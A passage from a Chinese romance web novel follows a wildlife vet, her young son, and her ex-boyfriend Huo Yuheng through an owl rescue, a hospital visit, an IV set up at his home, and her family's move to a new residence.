白色阔腿裤,奶白色轻薄毛呢外套,头发柔软地披在肩上,如果不是牵着孩子,只看样貌气质,很难想象她是一位三岁小朋友的妈妈。
黎冬轻挽唇角礼貌性一笑,抬起目光和他稍稍一搭便移开,姿态淡然,像是前几天的争执完全没在心里留下痕迹。
在机场认错daddy的事并不影响黎右社交,上来前黎冬给他戴了儿童口罩,小脸被遮住大半张,一双乌溜溜的大眼睛盯着眼前高大的男人好一会儿,昂起头喊了声叔叔,“春节快乐!”
微沉的目光在黎右脸上缓慢扫过,霍予珩像是在审视什么,黎冬握着黎右的手心慢慢渗出汗,霍予珩脸色漠然,很小幅度地点头,“春节快乐。”
可这足以让黎右笑弯眼眸。
几人交谈间杨柳已经套上鞋套,阳台就在客厅一侧,她问过霍予珩后两人一起往里走,玄关空旷下来,黎冬轻缓地呼出一口气。
没有适合黎右的儿童鞋套,黎冬将他留在玄关处,弯腰套鞋套。
这套平层面积很大,空旷的客厅潦草地摆着几件家具,个人物品和生活痕迹极少,看不出是几人居住。
杨柳的羽绒服脱下来搭在沙发那,黎冬将外套脱下放到旁边后去了阳台。
确实是一只长耳鸮,大概是偷了居民的鸽子,慌不择路再加上视物问题,逃跑时撞上了霍予珩家的阳台玻璃,那只鸽子已经被咬死,杨柳先将鸽子装进纸箱。
杨柳习惯在工作时顺口科普,阳台的门开着一条缝,霍予珩站在那里安静听着,家里暖气足,他穿的轻薄,黑色休闲西裤,同色毛衣,没有打理过的头发柔软蓬松的搭在额前,眼尾无力的垂着,整个人懒怠随意,往日的距离感瞬间消弭。
听到杨柳说到防鸟撞点状贴纸时,霍予珩开口:“哪里出售?”
“中心就有,您哪天方便过来拿吧,或者我给您寄过来也可以。”
“嗯,麻烦。”
长耳鸮害怕地缩到阳台一角,棕黄色眼珠瞪着来人,张开翅膀蓬开羽毛做恐吓状,黎冬扫一眼它一边耷拉着的翅膀,低头戴手套。
有风吹过,身后男人沉闷地咳嗽起来,黎冬下意识拉上阳台门,听到忽然止住的咳嗽声才惊觉不妥,手上的动作慢了下来。
一道目光如有实质般落到后脊,她背对男人抿唇,把手套一抻到底,抖开宽大的毛巾将长耳鸮兜头包住,抱进纸箱。
一套动作行云流水,前后不过几秒,别说杨柳,就连长耳鸮也没反应过来,还没吓唬人一顿,就被人抱走放进纸箱了。
……
长耳鸮半边翅膀骨折,等手术结束,天色已经黑下来,黎右整个下午不声不响,黎冬出来时,他已经搭完了一套乐高机器人,翻完了两本绘本,正撅着小屁股半跪在地上,在涂画本上画机器人的样子。
“黎右,眼睛。”黎冬连名带姓地出声提醒,接了杯水坐在位置上。
黎右马上乖乖坐直身体,涂画本摆在一旁的小桌子上,偷瞄了几眼妈妈,继续把剩下的几笔画完。
“咦,好帅气的机器人呀。”
杨柳凑到黎右身边,黎右把彩笔放下,拿着画给妈妈展示,得到几句夸夸才给杨柳认真介绍,“这是我给爸爸的生日礼物哦。”
黎冬单身带黎右不是秘密,杨柳和黎冬还没熟到能问她隐私的程度,只笑着接口:“爸爸的生日快到了吗?”
“没有呢,爸爸生日在夏天,我要提前准备,”他比划了一个厚度,满脸自豪,“我给爸爸攒了这么多礼物啦!”
黎冬低眉将温水饮尽,和夜班值班人员交代好注意事项后驱车带黎右回家。
过年期间空荡的北城重拾热闹,明天就要忙碌的人群享受今晚的闲暇,街上车流如织,成串的红色灯笼绵延向远方。
黎右趴在玻璃窗上晃着小腿看街景,红灯时突然冒出一句:“霍总叔叔看起来发烧了,妈妈,你说会有人照顾他吗?”
意外的称呼组合和问题令黎冬愣怔半响,目光略过路口的药店时才反应过来。
白天时霍予珩脖颈和脸上一片淡粉,乍一看像上次过敏的症状还没消下去。
至于有没有人照顾——
霍予珩家在江城,并不常回去,以前也极少提及家里的事。
红灯转绿,黎冬没有闲暇再想,踩下油门,“霍,”她不自在地卡壳,“霍叔叔在北城有很多朋友。”
“那妈妈是霍叔叔的朋友吗?”
“曾经算是吧。”
“那我们是不是应该去照顾他呀?”黎右伸出圆呼呼的小拳头,“Daddy说朋友有难的时候我们要像哆啦A梦一样伸出援手。”
一串省略号整齐地排布在头顶,黎冬失笑,不知道要先纠正这个句子里的哪个问题,窗外霓虹闪烁,她极轻地咽下嗓子,“宝贝,曾经的意思是以前,以前是,现在不是了。”
“为什么现在不是了呢?”
“走散了吧。”
这个问题最后以黎右似懂非懂的“哦”字收尾。
回到榕湖时,管家从院内迎出来,面色焦急,“大小姐,您的手机怎么一直没人接听?”
黎冬抱黎右下车,手伸进外套口袋摸了个空,“大概落在单位了。”
她没在意,牵着黎右往里走,听管家汇报下午小小姐姜茉打了两通电话没找到她,黎冬一愣,心里生出不好的预感。
她整个下午没碰过手机。
用家里电话拨过去,沉闷的嘟声响起,黎冬心脏一点点往上提,就在她以为无人接听时,对面响起一道轻哑的声线:“黎冬?”
没去猜他怎么猜出会是她,黎冬极轻极快地眨了一下眼睫,“嗯”了一声,“不好意思,手机落在你家了,你现在在家吗,我让人去——”
“我家不欢迎陌生人。”
霍予珩截断她的话,听筒两端同时静默下来,黎冬握着听筒的手指收紧。
几声闷咳打破沉默,霍予珩的声音更哑,“我正巧有事要外出,二十分钟后顺便给你送过来。”
8.第 8 章
二十分钟后,黎冬接到霍予珩电话,对方言简意赅的两个字:“出来。”
将黎右交给阿姨看顾,黎冬披上大衣出门,院外没人,想起物业没有确认访客登记,她才想到,霍予珩应该是在小区门岗外。
这里距离门岗几分钟路程,说长不长说短不短,黎冬瞧一眼脚上和黎右同款的包跟毛绒小狗鞋,裹紧衣服跺了跺脚,口中呼着大团白汽往外走。
这几日昼夜温差大,白日的春光仿佛是错觉,太阳落山后气温回降,再配合着刺骨的风,看到霍予珩时,黎冬的鼻头耳尖已经被吹红了。
黑色迈巴赫静卧在路边,驾驶位车窗半降,霍予珩靠在椅背上,大半张脸陷在昏暗中看不清表情,指尖一下一下捏着眉心位置。
黎冬走近,车载广播音乐低沉柔缓,霍予珩外扩通话中是一道满是无奈的男声。
“我说霍予珩,霍总,您暂时放下您的洁癖去医院拍个c?t让我心里有数行不行?吊瓶我让同事开好让你带回家。”
听到脚步声,霍予珩睁开眼,疲惫的目光望向黎冬,在她的鼻头上停了几秒,电话通话声还在继续,“我到北城后马上飞奔去您家给您挂上!您放心,您想住院都没门儿!我这次还给你带了礼物过来,保证你喜欢。”
“有事,挂了。”霍予珩说完切断通话,递出一部手机。
他的脸色恢复成平时的冷白,原本紧窄的双眼皮褶皱加深,衬得眼神愈发幽深。
恐怕又发起高烧了。
黎冬收回手机,想起前些天他在车里等她道谢,正要开口,霍予珩的手机又震动起来,他皱眉挂断前她恍见屏幕上的名字,陈颂年。
靳行简的私人医生,也是他们共同的好友。
又是一阵嗡嗡声,这次霍予珩接起,黎冬离得近,将对面方淮的声音听得一清二楚。
春节假期还没结束,这两人的工作已经开始,黎冬不知道该不该鼓掌赞美两人的敬业精神。
一连串的事项打断黎冬的道谢,她站在车旁,霍予珩低声回复方淮,指尖在导航上点了几下,拨冗般朝她投来一瞥,眼角微挑,似乎是在问她,还有事吗?
黎冬目光从他空无一物的右手上收回。
白天见面时,他也没戴戒指。
沉呼一口气,黎冬食指轻勾,示意霍予珩下车。
男人目光无波无澜地看向她,偶尔应一声方淮,两人隔着一扇车窗对峙,最后想知道她到底要做什么的心思占了上风,几秒钟后霍予珩推开门,长腿迈出。
他还穿着白天那身衣服,长身玉立地站在跟前,垂下眼皮看她。
黑色毛衣单薄,被风一吹裹出漂亮的肩颈线条,黎冬迅速绕过他坐上驾驶位,对上他诧异的目光时下巴一偏,“上车。”
电话那端汇报工作的方淮一顿,叫了一声“霍总”,霍予珩“嗯”一声让他继续,意味不明的视线穿过车窗一丝不落地尽数落在黎冬脸上。
黎冬视而不见般垂下眼将座椅前调,扣上安全带,在导航上输入“普安医院”,又给阿姨发消息让她带黎右吃饭。
普安医院是姜商辰的产业,陈颂年在那里任职。
几秒钟后副驾的门被拉开,霍予珩裹着一身寒意上车,将手中的电话挂断,平淡的语气问她:“为什么?”
车门关闭,车窗升起,密闭的车厢内与他身上相同的冷香味道密密匝匝包裹向黎冬,她轻咽喉咙,声音清晰平静:“感谢你送手机过来。”
他帮她一次,她还他一次。
幽深的视线在她脸上停了片刻,男人轻扯唇,靠向椅背,自己戴上口罩,又放了一只没拆包的在扶手上。
霓虹在他眼眸中淋漓闪过,电话响了几轮,他摁掉,最后不胜其烦地在上面点了几下,语气不经意地缓慢开口:“以后不走了吗?”
黎冬握着方向盘的指节泛白,眼睫轻颤,目光望向远方:“不走了。”
或许是他生了病,或许是她劳累一天,或许是春节的气氛太过和睦,回国后他们第一次没有剑拔弩张,没有针锋相对,能够心平气和地说上一句话。
可这之后再能说什么,他们都不知道。
车载广播切换了歌曲,柔和的男声悲伤地唱着。
秋天该多好你若在场
秋风即使带凉亦漂亮
深秋中的你填密我梦想
就像落叶飞轻敲我窗
冬天该很好你若尚在场
……
黎冬轻吸了下鼻子,余光中霍予珩目光偏向窗外,不知在想些什么。
春节期间的医院并不冷清,有陈颂年事先安排,护士带霍予珩检查拍CT后又带他到诊室。
从急诊出来,霍予珩拎着白色药袋走在前面,他套了一件黑色大衣,清瘦的背影高大挺拔,画面渐渐和八年前重合,只是那个男孩已经长大,也再不会停下来蹲在她面前,哄她上来。
手机震动,黎冬放慢脚步落后几米,接通家里的电话,黎右犯困的声音传过来,问她什么时候回家,他已经洗好澡躺在他的小枕头上等她,她安抚黎右几句,交代阿姨照顾他先睡。
再抬头,霍予珩正站在迈巴赫旁等她。
仍旧是副驾的位置,俨然是要她送他回去。
黎冬没推脱。
明天春节后第一个工作日,大批人员掐点返城,街上的车辆比下午时还多,星星点点连成一条游河,霍予珩接通频繁震动的手机,交谈声高高低低地传入黎冬耳中。
这情形让她不合时宜地忆起某次她去麻省做野生动物多样性调查,结束后去MIT看他,那之前经常是他来纽约,她过去的少,她出现时他愣了好一会儿才说,“我没做梦吧。”
那时他临近毕业,事业也初现成果,正是一年中最忙碌的时候,他们已经很久没见,他放下手上的事来陪她,像所有情侣一样吃饭约会,在他的公寓里将她吃了个透底。
晚上九点她接到导师消息,导师希望一份盖好章的重要文件明早能出现在办公桌上,文件在她手里,她的导师在时间观念上格外严苛,也对她轮转之余还有精力起早贪黑地跑去做野保志愿者的行为不解,且颇有微词,她只好连夜返回纽约,免得得罪导师不好毕业。
霍予珩开车送她去车站。
她为能来看他熬了几天夜,困顿得窝在副驾上,抓紧从他公寓到车站的几分钟时间闭眼小憩。
那天在落蒙蒙细雨,风清凉,她开了半扇车窗,轮胎碾过路面激起水花,唰唰的摩擦声不断,他上车时接起一通电话,塞上耳机压低嗓音和团队交流。
他的声线优雅耐听,语调随情绪游走,时而悠扬时而低沉,她闭着眼睛,耳边淅沥的雨声中似乎响起了巴赫的G大调第一提琴组曲前奏,而他的音调具象化地成为大提琴上震颤波动的弦,高高低低的有了形状。
三遍前奏曲结束,车也停下,她以为车站到了,睁开眼却发现车站刚被甩在车后。
“开过了吗?”她用口型问。
他挂断通话说没有,指尖轻轻翘着方向盘不看她:“今天刚好不忙,开车送你回去。”
话才说完,他的手机又开始震动,他指节一僵,她噗嗤一声笑出来。
一只大手揉了过来,她的头发马上乱了,他解了气,稍偏额,扬着眉梢睨她,终于承认:“行吧,是想你。”
还没分开已经开始想你。
剑桥市距离纽约市大概五小时车程,他们因此可以有更多的时间相处。
那时他们是情侣,可以坦诚地说想你,做下决定时也不必找借口。
那时他们还相爱,相爱到等红绿灯时对视上这一眼便能情不自禁地吻到一起,忘了时间,忘了场合,忘了热闹震动的手机,忘了敞开的半扇车窗,忘了窗外的雨,忘了街边的行人,直到后车愤怒地鸣笛才分开,之后相视一笑,驶向黎明。
驶过最后一个街口,黎冬将车开进地下车库,稳稳停好。
腕表上的时针指向九。
和他们那天晚上出发的时间一样。
可他们已经到达终点,没有下一段旅程,也没有再呆在一起的借口。
“我——”
“陈颂年有事耽搁,暂时过不来。”霍予珩与她同时开口。
他握拳掩口闷咳,似乎是难受极了,拳头握得紧,手背上青筋虬起。
黎冬抿唇没再吭声。
医院的白色药袋被霍予珩放在后排,沉甸甸的一袋,他肩膀微塌,眉目间倦色明显。
“走吧。”她推门下车。
时隔八个小时,黎冬重新站在霍予珩家玄关。
他的房子过分简洁,像极简主义风格的样板展示房,房间被他收拾过,如果不是桌上搁着的那只水杯,完全看不出居住痕迹。
正悄悄打量着客厅,一双拖鞋递至脚下。
霍予珩直起身,“抱歉,平时家里不接待客人,没有准备拖鞋。”
“大衣挂起来,还是?”他问。
“我放沙发上吧。”
“好。”霍予珩没再说,脱下自己的大衣挽在臂弯,做了个请便的手势后向里去,宽肩窄腰,天生的衣服架子,黑色袜子踩过地板,墙角的边缘灯带点燃魔法一般一盏盏亮起来。
目送到他拐进房间,黎冬收回视线。
脚边的灰色男式拖鞋比她的脚大出几个尺码,干净,却也有穿过的细微痕迹。
黎冬没动那双鞋子,放好大衣后赤脚走到放置药袋的茶几旁。
霍予珩家里安装了地暖,地板并不凉。
有脚步声停在身后,黎冬翻看其他药品没回头:“你吃过晚饭吗?”
医生开了多西环素,这药副作用大,输液前不能空腹,霍予珩忙碌起来时三餐总是不定时的。
久久没听到回应,黎冬回过头,霍予珩站在她身后两米处,端着一杯清水,正垂着头,视线落点是——她的脚。
趾节下意识蜷缩,贴合地板的趾腹在顷刻间泛白,血液压迫至甲盖处,一片浅淡粉色,黎冬耳垂窜上同样颜色,扭回头,收腿坐在茶几旁,将脚藏了起来。
嗒的一声,一杯水落在茶几上,水面晃动出柔波,“没,稍等我点餐。”
霍予珩走到不远处的沙发上坐下,两条长腿自然地搭叠,清贵的气质顷刻间流露出来。
他靠着沙发背,指尖一下下点在手机屏幕上,清瘦手背上隐约可见虬起的青筋。<
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p>“喝粥吗?”他倏然抬头,捕捉住她的视线。
这人生了病,眼眸反而更加漆黑清亮,即使坐得隔着一段距离,仍有淡淡的压迫感。
黎冬眼波微晃稳住视线。
她确实饿了,霍予珩过来得急,她又以为只是拿一趟手机的事,出门时连鞋子都没换,肚子已经叫过几回。
“帮我点一份,”稍微停顿,又礼貌地补了一句,“谢谢。”
原本低下头的男人再度抬眼,面无表情地看了她一会儿,喉结慢慢滑滚几下,最终什么都没说地垂下视线。
黎冬不知道别人与前男友共处一室是什么感觉,那一眼过后,她只觉得身体里那些密麻而细小的燥意集结在一起,一声令下就能钻出毛孔。
如坐针毡地等他点完餐,她忙问:“在哪里输液?”
霍予珩带她去了卧室。
床头上方的墙壁上贴着一个不起眼的挂钩,他手臂一伸将输液袋挂上去,动作熟练得不像第一次这样操作。
黎冬站在浸满他气息的房间内,目光游弋。
灰白色调的窗帘,灰白色调的床品,灰白色调的装饰,满目单一的灰白色调,就连床边柜上的药瓶都是白色的。
放在床头的药瓶一般是常服用的,黎冬眯起眼细看时,霍予珩回过身。
他往旁边偏了半个身位,不偏不倚地将她的视线遮挡得严实,抬腕看时间:“出去吃饭吧。”
门铃声在黎冬走出卧室时响起。
吃过饭再重新回到卧室时,白色药瓶已经不在,黎冬目光落在抽屉把手上片刻又慢慢挪走,拆开手中的输液器连接好输液袋。
脚步声临近,霍予珩换了一身轻便衣服过来,黑色布料衬得他皮肤更冷,左边衣袖向上挽起几折,露出半截线条流畅的手臂。
“经常生病吗?”
黎冬语气自然地询问,她俯身,将止血带系到霍予珩小臂上,垂落的长发发尾扫过他裸.露在外的皮肤。
男人小臂微不可查地一颤,极快地掩饰过去,可黎冬还是注意到了,动作跟着顿在原地。
她心跳轻了一拍,慢慢收回手指,止血带在霍予珩小臂上勒出一道浅痕。
黎冬直起身抬起眼睫。
霍予珩低着头,灯光在他头顶晕染出模糊的光晕,深邃的目光紧紧锁住她,他的喉结极缓慢地滑滚,像是没听清她的话:“什么?”
“我是说,”黎冬不动声色地后退一步,将头发挽至耳后,露出白玉似的耳朵,“陈颂年还有多久到?要不要等他给你——”
“他没说,”霍予珩瞬时冷下脸色,语气也冷了下来,他坐到床边,手掌克制地握成拳头,“扎完针你就回去吧,今天这一趟麻烦了,谢谢。”
黎冬心里蓦地一涩,眼中闪过许多画面。
他拉着她的手放在他的脸上,颈上,唇上,他闭着眼睛满足地拥紧她,说想让她长在他的身体里。
心脏像是被人紧紧握着,呼吸都不是自己的,黎冬站了许久才有下一步动作。
消毒,扎针,将滴速调整到六秒一滴,她观察着霍予珩的脸色,“多西环素打起来会疼,你先试一下这个滴速,不舒服叫我。”
男人眉眼未抬,只冷淡地“嗯”一声,拿起一份文件翻阅。
黎冬走到卧室一角的沙发上坐下。
手机里积攒了许多未读消息和未接来电。
姜茉已经回到北城家里,提醒她提前请好假,后天要带黎右去幼儿园面试。
言西发了几条语音过来。
霍予珩仍在安静地看着文件,黎冬没打扰他,将语音转成文字,言西告诉她她家里的水管破裂了,邻居已经帮忙报警报修。
黎冬忙去看未接来电,有言西的,还有另一个国外号码。
“我打个电话,你有事喊我。”知会过霍予珩,她起身去客厅拨通言西电话。
“右右呢?”言西问。
“睡了,现在是什么情况?”
“视频说吧,我在你家里。”
斯洛文尼亚正值午后,灿烂的阳光豪迈地从玻璃窗上泼洒到室内,泛着水光的地面看得黎冬额角一阵狂跳。
言西额头上一层汗,随意抹了一把,卷着裤腿,脚上一双长筒橡胶雨鞋,他没着急说正事,好奇地打量她这边,“这个装修……没在家里吗?”
“没,”黎冬没多解释,“现在什么情况了?”
“处理得差不多了,”言西翻转镜头,在各房间走了一圈,最后到卧室门边一拍手边的吸干机,“只差卧室的水还没吸,电器我还没试不知道具体情况,木地板泡太久了肯定需要换。”
他说完大致情况黎冬舒一口气,“你休息吧,我联系物业过来处理。”
“不用,我今天休息,”言西走到桌边拿起一串钥匙晃了晃,“门锁坏了,我换了一把新的,回国的时候拿给你……”
他停下,敛眉看向她身后。
黎冬心口一跳,从屏幕左上角狭小的画面中看到一张英俊黑沉的脸。
霍予珩不知道什么时候站到了她身后。
“他是?”
“你男朋友吗?”
两个男人同时开口。
9.第 9 章
空气中弥漫着淡淡的火药味。
还没等黎冬回答,滴滴滴的几声密码按键音后,入户门从外面被人打开,陈颂年拎着一个大袋子,裹着一身寒气从外面进来,“老霍,看我给你带什么来——了……”
抬头看到客厅里的两人,陈颂年明显一愣,将手中的袋子往身后藏,咧着嘴角干笑:“黎冬也在啊,做了妈妈更漂亮了啊。”
几人的注意力已经转移到陈颂年身上,霍予珩沉眉看向他藏到身后的袋子,“带的什么?”
“没,你要的麻花哈哈哈哈,”陈颂年尴尬地抬起另一只手,将几盒津市麻花放到玄关柜上,顺脚换上门口的那双男式拖鞋,在霍予珩杀人的目光中意识到那是他的拖鞋,再想到这人的洁癖性子后又赶紧把脚退了出来,“我这是带给黎冬的。”
他对这里熟络得很,没看到其他拖鞋就这么走了过来,将藏着的娃娃一把塞到黎冬怀里,“给你定做的回国礼物,你看,像不像Q版的你。”
怀里的娃娃大头小身,弯眉圆眼,鼻子只有一点点,圆张的嘴巴,脸颊上淡淡的腮红。
黎冬脑袋有一瞬间的蒙。
“像。”手机那端的言西忽然开口。
陡然听到第四个人的声音,陈颂年吓得一激灵,探身往黎冬手机里看,黎冬没给他机会,面无表情地掐断视频,抱着烫手的娃娃站在原地半天不知道说什么。
稍微一想她就能猜出大概情况,霍予珩对这个娃娃显然不知情,那就是陈颂年的个人手笔了。
至于他为什么送一个她的Q版娃娃给霍予珩,是不是霍予珩透露过什么……
黎冬不敢再往下想,抬起目光看向陈颂年。
陈颂年正被霍予珩盯得发毛,此刻又多了一个黎冬,两人的目光能在他身上烧出两个洞来,他好奇死了两人现在的关系可又不敢问,只得把话题岔开保住自己的小命儿。
“黎冬给你扎的吗?”他问霍予珩。
霍予珩没开口,显然不愿意回答他这废话。
陈颂年悻悻地转向黎冬,“没想到你还会给人扎针。”
黎冬本来学医,毕业后进入姜商辰的普安医疗没多久便跑去做野保,一身救人的医术全用在了动物身上。
“和动物没什么两样。”
霍予珩:“……”
想笑不敢笑的陈颂年:“……”
陈颂年已经过来了,黎冬没有再留下来的必要,她轻蹙着眉头将Q版的自己抱紧,没再去看两人,拿上大衣:“我回去了。”
“陈颂年,你送她。”
霍予珩拿着输液袋站在原地没动,给陈颂年使了个眼色示意他不要乱说话。
想到黎冬视频里男人那张脸,慢慢皱起眉。
四十分钟后陈颂年回来时霍予珩正靠在床头小憩,他没扎针的右手搭在眉骨上,指节克制地蜷着。
多西环素打得他左侧臂膀隐隐发疼,皮肤更加冷白。
陈颂年把车钥匙放在桌上叹一口气,坐到他床边,“你怎么不早告诉我黎冬在?”
霍予珩拿开手臂,撩起眼皮,目光不咸不淡地看向他,“你做那个是什么意思?”
“安抚你啊,你不是只渴望她的拥抱吗?真人那我没办法,就做个Q版的给你当替代品,”陈颂年越说越来劲,“你不知道我找了多少家,对比之后这家的手感最好,可惜啊正巧被黎冬撞到了。”
“但是现在是不是不用了?”他琢磨着过来时那两人一前一后快要贴到一起的身形,禁不住好奇心问,“抱上了没?”
霍予珩垂下眼皮。
他有皮肤饥渴症,这件事除了黎冬,只有陈颂年知道。
平日他的症状并不严重,忙起来也不会发作,只除了想到她时。
最近能真切地闻到她的气味,看到触手可及的她,身体和心理上的渴望像是冲破闸门,不再受他控制。
“把其他的送到我这。”霍予珩掀开眼皮开口。
“什么?”
“其他娃娃,过几天送到天樾。”
“……”
“别忘记把肖像费支付给黎冬。”
“……老霍你这样以后结婚的时候我可不给你包红包。”
……
一觉醒来突然收到一万块转账的黎冬懵着给陈颂年发送过去一个问号。
黎右还在睡,房间里暖气开得足,他踢开被子后睡得四仰八叉,小狗睡衣掀起一角,露出一起一伏软乎乎的小肚子,黎冬食指在上面戳了两下,又去亲了亲儿子肉肉的脸颊,再看手机时陈颂年回复过来:【肖像权使用费】
【黎冬:这次不用,下次告你哦??】
【陈颂年:……】
【黎冬:还做其他的了吗?】
【陈颂年:……没有】
【黎冬:看着不像没有】
对面反复输入迟迟没有回复,黎冬有心问霍予珩情况,黎右哼唧一声转醒,她放下手机,再拿起时显示陈颂年撤回一条信息,黎冬没过多探究,直接发消息给他:【麻烦下周末全部送到天樾??】
陈颂年这次几乎是秒回:【你周末搬家啊?到天樾??】
【黎冬:嗯】
年后榕湖前的道路就要拓宽重修,住在这里出行不再方便,姜茉靳行简计划搬到天樾去住,姜商辰给她置办的房产其中一处也在那,他们可以互相照应,三个孩子也可以一起玩,美中不足的就是两套房子中间隔着一户。
姜商辰之前想高价把那户买下来自己住,这样左右两边都是女儿,中间人帮忙联系上后说对方已经在装修,也没有卖房的打算,姜商辰没再坚持。
黎右明天面试,下周开学,这周六“宜入宅”,他们全家搬过去,安顿好后姜商辰出国,北美有几个重点项目,他今年大半时间会呆在那边,偶尔回来住她这或姜茉那都可以。
黎右幼儿园面试这天除了姜商辰有个重要会议走不开,其余六口全部出动,普通轿车坐不下这么多人,姜商辰让司机把加长林肯开了出来。
三个小朋友坐在一起,晃悠着小腿吃水果,你一言我一语,喳喳喳地像三只快乐的小鸭子,姜岁桉和靳岁柠向黎右介绍幼儿园,双手合十许愿院长奶奶能把黎右分到他们小一班。
姜茉和黎冬坐在一起,手边是黎冬和黎右的证件原件,看到黎右的出生日期时姜茉一愣,反复看了几次确认:“右右不是十月出生的吗?”
她记得黎右比小柠檬和小桉小三周,怎么户口页上的出生日期是十二月?
“是十月。”黎冬答。
她在国外生黎右时情况一团糟,接生的言西是新手,各种意义上的新手,几乎每一步都在她的指挥下进行,为表歉意言西帮忙去办出生证明,哪知道拿回来的出生日期写的是12月。
修改证明流程繁琐冗杂,需要的具体材料有些她拿不出,再加上黎右出生在十月还是十二月没什么差别,索性就没改。
“怎么会没差别?!霍……”看一眼玩得正好的三个小朋友,姜茉猛地住嘴,再开口时压低声线,“姓霍的不会不知道右右是他儿子吧?”
黎冬慢慢摇头。
应该不知道。
分手几个月后他曾来找过她一次,那时她正和一个朋友出去,霍予珩没露面,远远地瞧了她一眼。
她留着旧号码没舍得消,偶尔打开旧手机翻一翻里面的信息,霍予珩起初还会发消息找她,那天之后便没有了。
她也就没再打开过那部手机,手机号码应该早就被回收了。
姜茉抿唇看了黎冬一会儿,理顺了为什么黎冬回国后霍予珩没有一点要认黎右的样子,气着气着忽而笑了,“那你不要轻易答应和他复合,也别着急告诉他右右是他儿子,你就得治治他!”
黎冬:“……”
姜茉抬眉:“你不同意哪一句?”
黎冬弯唇:“每一句。”
“哈哈哈哈,”姜茉笑得抱住她,小声和她咬耳朵,“别以为我不知道你昨晚做什么去了,陈颂年把他看到的一五一十全部告诉我了!”
实际她只看到了陈颂年开着霍予珩的车送黎冬回来。
“他没看到什么。”黎冬没被唬住,心里暗骂陈颂年大嘴巴,她就应该把他转的钱收下来,造一句谣扣五千块。
不在现场的陈颂年被冤枉得打了个喷嚏。
姜茉一脸惊讶,既而眨着眼睛凑近她小声八卦:“他没看到什么呀?”
黎冬伸出一根手指抵在她脑门儿上,将她推远了些:“你先跟我说说他跟你说了什么?”
姜茉:“……”
两人大眼瞪大眼,谁都没从对方那套出话来,肩膀抵着肩膀齐齐笑出声。
姜茉估摸着黎冬的心思,她看着被养得极好的黎右有些心疼黎冬过去的辛苦,“反正你要记得我上面的话,不能让那个臭外地的那么容易无痛得子。”
“谁惹你了?”靳行简侧身问姜茉。
“臭外地的”都骂出来了。
他老婆平时可只骂他。
“你那个好哥们儿!”姜茉凑过去和靳行简一顿小声嘀咕,“你不能帮他!”
“那当然,”靳行简出谋划策,“我们可以这样……”
姜茉嘿嘿笑:“是不是太缺德了?”
靳行简:“这部分让沈怀京去做。”
姜茉:“好主意。”
两人音量低,又有孩子们的吵闹声,黎冬只听到了一些模糊字眼,她低头揉了会儿额角,抬手打断那两位:“是不是要先征询一下当事人的意见?”
从靳行简那拉满情绪价值的姜茉坐回来,一脸无害地挎上黎冬手臂:“当然一切以你的意志为主,我会看你脸色行事的,放心,我只是个小坏蛋。”
“是的,”不知道什么时候凑过来的小柠檬力挺妈妈,仰头看黎冬,“姨姨,我妈妈只是小坏蛋,我爸爸才是大坏蛋呢!”
话题已经被带偏,黎冬捏了一下小柠檬脸颊,顺着她的话问:“为什么爸爸是大坏蛋呀?”
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“妈妈打我们屁股不疼,爸爸打屁股会疼,爸爸会打哥哥屁股,我屁股,还会打妈妈——”
姜茉羞臊得脸颊发红。
“宝贝,”靳行简捂住小柠檬嘴巴把她抱进怀里,塞了颗车厘子给她,“甜吗?”
小柠檬点头。
“爸爸还是大坏蛋吗?”
“是!”
小柠檬脆声说完又张开嘴要吃的。
车里顿时笑成一片。
靳行简捏小柠檬脸颊,又塞给她一颗。
一旁的黎右滑下座位挤到靳行简腿边,张开小嘴:“大坏蛋舅舅我也要!”
车里笑声更大,靳行简微扬眉稍,喂了他一颗。
黎冬鼻腔却忽地泛酸,她没忽略黎右滑下座位前望向小柠檬时羡慕的目光。
或许是父爱缺失,黎右对对他释放善意的成年男性有种天然的亲近。
幼儿园面试顺利,只是小一班的孩子本就比别的班级多,园方安排黎右去了小二班。
到了周六,全家人搬去天樾。
天樾一应物品俱全,其他必要的东西前些天已经送过去,今天只是正式入住。
姜茉靳行简突发奇想邀请朋友们明天过来温居,问黎冬要了名单制作邀请函。
黎冬在北城的朋友圈与两人大多重叠,不同的只是救助中心这边,桃始华闻雨生值班走不开,黎冬来天樾之前先给秦穗安和杨柳送去邀请函,到天樾时已经将近中午。
黎右跟她一同前往,在车上老老实实拘了一上午已经是极限,下车后就想去找哥哥姐姐玩,被姜商辰叫住。
乔迁新居的第一顿饭要在自己家吃。
姜商辰没去跟姜茉住,而是住到了黎冬这儿,连同之前在榕湖的管家李伯以及司机和保姆们一起带了过来,他出国后这些人留下照顾黎冬黎右。
“那以后都不能和哥哥姐姐一起吃饭了吗?”黎右洗净手乖乖爬上座椅,问黎冬要吃饭的围兜。
“可以呀,只是晚上要回家睡觉。”
两家离得近,走路两三分钟就可以到,后面三个小朋友一起上下学,她下班回来前黎右都会在姜茉那儿。
黎冬过来为黎右摆好儿童餐具,俯身和他商量,“宝贝我们尝试一下不戴围兜,吃饭时尽量不要把饭粒和汤汤掉到衣服上好不好?”
“妈妈为什么呀?”
黎右小手捂到胸前犯愁,他今天的卫衣外套上是汪汪队的阿奇,特别帅气的德牧,他不想弄脏它。
黎冬温声鼓励:“幼儿园吃饭时是不戴围兜的,我们今天提前练习一下,掉到衣服上也没关系,好吗?”
黎右低下头,翘起小手指头看了眼胸前露出来的阿奇尾巴,又盖了回去。
旁边的姜商辰展现超能力加码:“掉米饭少于十粒外公奖励你一颗金豆豆,少于五粒奖励两颗,好不好?”
“好!”黎右立马挪开小手坐好,扭头和姜商辰商量,“外公我这次想要小狗和骨头的。”
黎冬:“……”
“还想要什么形状的和外公说,外公找人去做。”
Mosen集团的员工大概都想不到,杀伐果决雷厉风行的大老板在家哄外孙时脾气这么好。
这餐饭不用自己操心,黎冬坐回去安心吃饭,黎右坐她对面,小心翼翼地夹菜,舀米饭,可还是有饭粒掉下去,他把掉在衣服上的饭粒捏下来摆在桌上,摆到四粒时拧了一会儿眉头,将碗挪到桌边,小胸脯抵上桌沿,不让米饭有“可乘之机”。
可还是有一粒淘气的米饭粘在他嘴角,小嘴巴动啊动时从嘴角脱落掉在了衣服上。
咀嚼饭菜的小嘴巴马上停了。
黎冬佯装没看到,不动声色地继续吃饭,余光一直注意着。
姜商辰干脆偏开头。
黎右慢慢捏起米饭粒,滴溜溜的大眼睛转了一圈,见没人关注自己,毫不迟疑地把饭粒塞进嘴里,嚼啊嚼地把那一口饭咽下去,叫了声外公,“我吃饱啦!”
姜商辰扭过头,目光扫过桌上的四粒米饭和黎右碗里剩下的半碗米饭,拿起儿童勺,“外公喂几口。”
黎右马上配合地张开嘴,又嘱咐,“外公小心一点,不要掉饭饭哦。”
